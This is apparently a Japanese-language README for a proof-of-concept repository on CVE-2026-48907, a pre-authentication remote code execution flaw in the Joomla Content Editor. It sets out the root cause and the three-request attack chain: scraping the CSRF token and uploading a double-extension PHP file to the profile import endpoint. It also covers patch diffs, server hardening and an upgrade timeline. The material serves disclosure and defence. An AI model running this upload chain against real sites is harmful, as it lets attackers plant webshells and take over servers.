
CVE-2026-48907 は、Joomla Content Editor における CVSS 10.0 の pre-auth RCE であり、バージョン 2.9.99.4 以下のすべてのバージョンに影響します。Grayxploit チームは、3 つの脆弱性の連鎖 — 認証の欠如、拡張子の検証の欠如、安全でないアップロードフラグ — を分析し、攻撃者が 3 回の HTTP リクエストでシェルを奪取できることを示しています。
CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor (JCE) 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。
Grayxploit Security Team による研究
CVE-2026-48907 は、Joomla Content Editor (JCE) 拡張機能 — 最も広くインストールされている Joomla エディター — のバージョン 2.9.99.4 以下 のすべてに影響する 重大な認証不要リモートコード実行 (RCE) 脆弱性です。
JCE のプロファイルインポートワークフローにおける3つの独立したセキュリティ上の弱点を連鎖させることで、完全に認証されていない攻撃者が以下のことを実現できます:
/tmp/ ディレクトリに任意の PHP ウェブシェルをアップロードこの攻撃は わずか3つのHTTPリクエスト のみを必要とし、脆弱なJCEバージョンが動作するデフォルトのJoomlaインストールに対して機能します。
CVSS v4 スコア: 10.0 — Critical
Grayxploit セキュリティ研究チームによって発見され、責任ある開示の後、一般公開されました。
| ソフトウェア | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (推奨) |
注: 2.9.99.5 で主要な修正が導入されました。2.9.99.6 では追加のハードニング層が追加されました。2.9.99.6 以降にアップグレードしてください。
この脆弱性は JCE プロファイルインポートエンドポイント に起因します:
POST /index.php?option=com_jce&task=profiles.import
JCE では管理者がエディタープロファイルをXMLファイルとしてエクスポートおよびインポートできます。このインポートハンドラーは認証なしで到達可能であり、3つの独立した弱点の連鎖により任意のファイルアップロードを受け入れます。
インポートコントローラーはACLチェックを行っていませんでした:
public function import()
{
// 唯一のゲート: CSRFトークン — 簡単にバイパス可能
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … すぐにファイル処理へ — authorise() チェックなし
}
Joomla は CSRF トークンを すべての 公開ページにメタタグまたはJS変数として埋め込みます:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
攻撃者は単にホームページを取得し、トークンを抽出して再利用するだけです。CSRF チェックはクロスサイトリクエストを防ぎますが、直接スクリプトリクエストを 防ぎません。インポートパスのどこにも Factory::getUser() や $user->authorise(...) の呼び出しはありませんでした。
アップロードハンドラーは File::makeSafe() を使用していましたが、これは不正なファイルシステム文字を取り除くだけであり、ファイル拡張子の検証や制限は 行いません:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // 不正な文字のみ除去
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
shell.xml.php のようなファイル名は File::makeSafe() をそのまま通過します。Apache の mod_php は最後の認識された拡張子が .php であるため実行します。.php、.php5、.phtml、および二重拡張子のバリアントはすべて受け入れられました。
File::upload() が $allow_unsafe = true で呼び出されている (CWE-116)Joomla の File::upload() には組み込みの拡張子ブラックリストがあり、$allow_unsafe = false(デフォルト)の場合に危険なファイルタイプをブロックします:
// Joomla File::upload() のシグネチャ
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
脆弱な JCE コードは このセーフティネットを明示的に無効化 しています:
// 脆弱 — 安全でないアップロードが明示的に有効化
File::upload($source, $destination, false, true);
この単一のブール値によって Joomla の内部拡張子ブラックリスト全体がオフになり、.php、.php5、.phtml、およびその他の実行可能な拡張子がディスクに書き込まれることが可能になりました。
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← HTML/JS から csrf_token を抽出 │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (ファイルが /var/www/html/tmp/ に書き込まれる) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← レスポンス: "3105" (45 × 69 = RCE 確認 ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
セッションCookieなし。ユーザー名なし。パスワードなし。3回のHTTPリクエスト。
⚠️ このPoCは、許可されたセキュリティ研究および侵入テストのためにのみ提供されています。明示的な書面による許可なしにシステムに対して使用しないでください。無断使用は違法かつ非倫理的です。
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
3つの弱点はすべて JCE 2.9.99.5 で修正され、さらに 2.9.99.6 で追加のハードニングがリリースされました。
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
ゲストユーザー (id = 0) は authorise() で即座に失敗します。ファイル処理が行われる前にリクエストは拒否されます。
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION は 最後の 拡張子のみを返します。shell.xml.php → php → 拒否。複数拡張子によるバイパスをすべて無効化します。
// 修正前 (脆弱)
File::upload($source, $destination, false, true);
// 修正後 (パッチ適用済み)
File::upload($source, $destination, false);
Joomla の内部拡張子ブラックリストが独立した防御層として再び有効になります。
| 修正 | 詳細 |
|---|---|
| アップロードサイズ制限 | 512 KB を超えるファイルを拒否 |
| XXE 保護 | libxml_disable_entity_loader(true) を PHP 7.x にバックポート |
| XML フィールド許可リスト | 既知の安全な XML キーのみ処理。任意のキーは無視 |
.htaccess で /tmp/ の PHP を無効化<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
このリポジトリは、お客様が所有する、またはテストする明示的な書面による許可を得たシステムにおける、許可されたセキュリティ研究、教育、および侵入テストのみを目的としています。
Grayxploit チームは、このリポジトリで提供されるコードまたは情報の不正、違法、または悪意のある使用について一切の責任を負いません。
責任を持って使用してください。合法的にテストしてください。
このプロジェクトは MIT License の下でライセンスされています。
| 優先度 | アクション |
|---|
| 🔴 緊急 | JCE を ≥ 2.9.99.6 にアップグレード |
| 🟠 高 | サーバーレベルで /tmp/ へのウェブアクセスをブロックまたは制限 |
| 🟠 高 | .htaccess またはサーバー設定を介して一時ディレクトリでの PHP 実行を無効化 |
| 🟡 中 | WAF ルールを追加して、認証されていないセッションからの com_jce&task=profiles.import を警告/ブロック |
| 🟡 中 | 他の Joomla 拡張機能で、拡張子検証なしの File::upload(..., true) を監査 |
| 日付 | イベント |
|---|
| 2026-05-XX | Grayxploit 研究チームにより脆弱性を発見 |
| 2026-05-XX | JCE メンテナーに責任ある開示を提出 |
| 2026-06-XX | MITRE により CVE-2026-48907 が割り当てられる |
| 2026-06-XX | JCE 2.9.99.5 リリース — 主要な修正 |
| 2026-06-12 | JCE 2.9.99.6 リリース — 追加のハードニング |
| 2026-06-12 | Grayxploit による一般公開 |
| 私たちが見つけるもの | 私たちが開示するもの | あなたが防御するもの |
|---|
| Pre-auth RCEs | 責任を持って、そして公開して | 詳細なパッチ分析を用いて |
| 論理的な欠陥 | 完全な根本原因分析とともに | PoC を安全に使用して |
| 連鎖する脆弱性 | 大規模な悪用が始まる前に | 脅威アクターよりも速く |
情報提供やコラボレーションのご希望は? Issue を開くか、GitHub プロフィールからご連絡ください。
CVE-2026-48907 — によるオリジナル研究
Breaking things. Responsibly.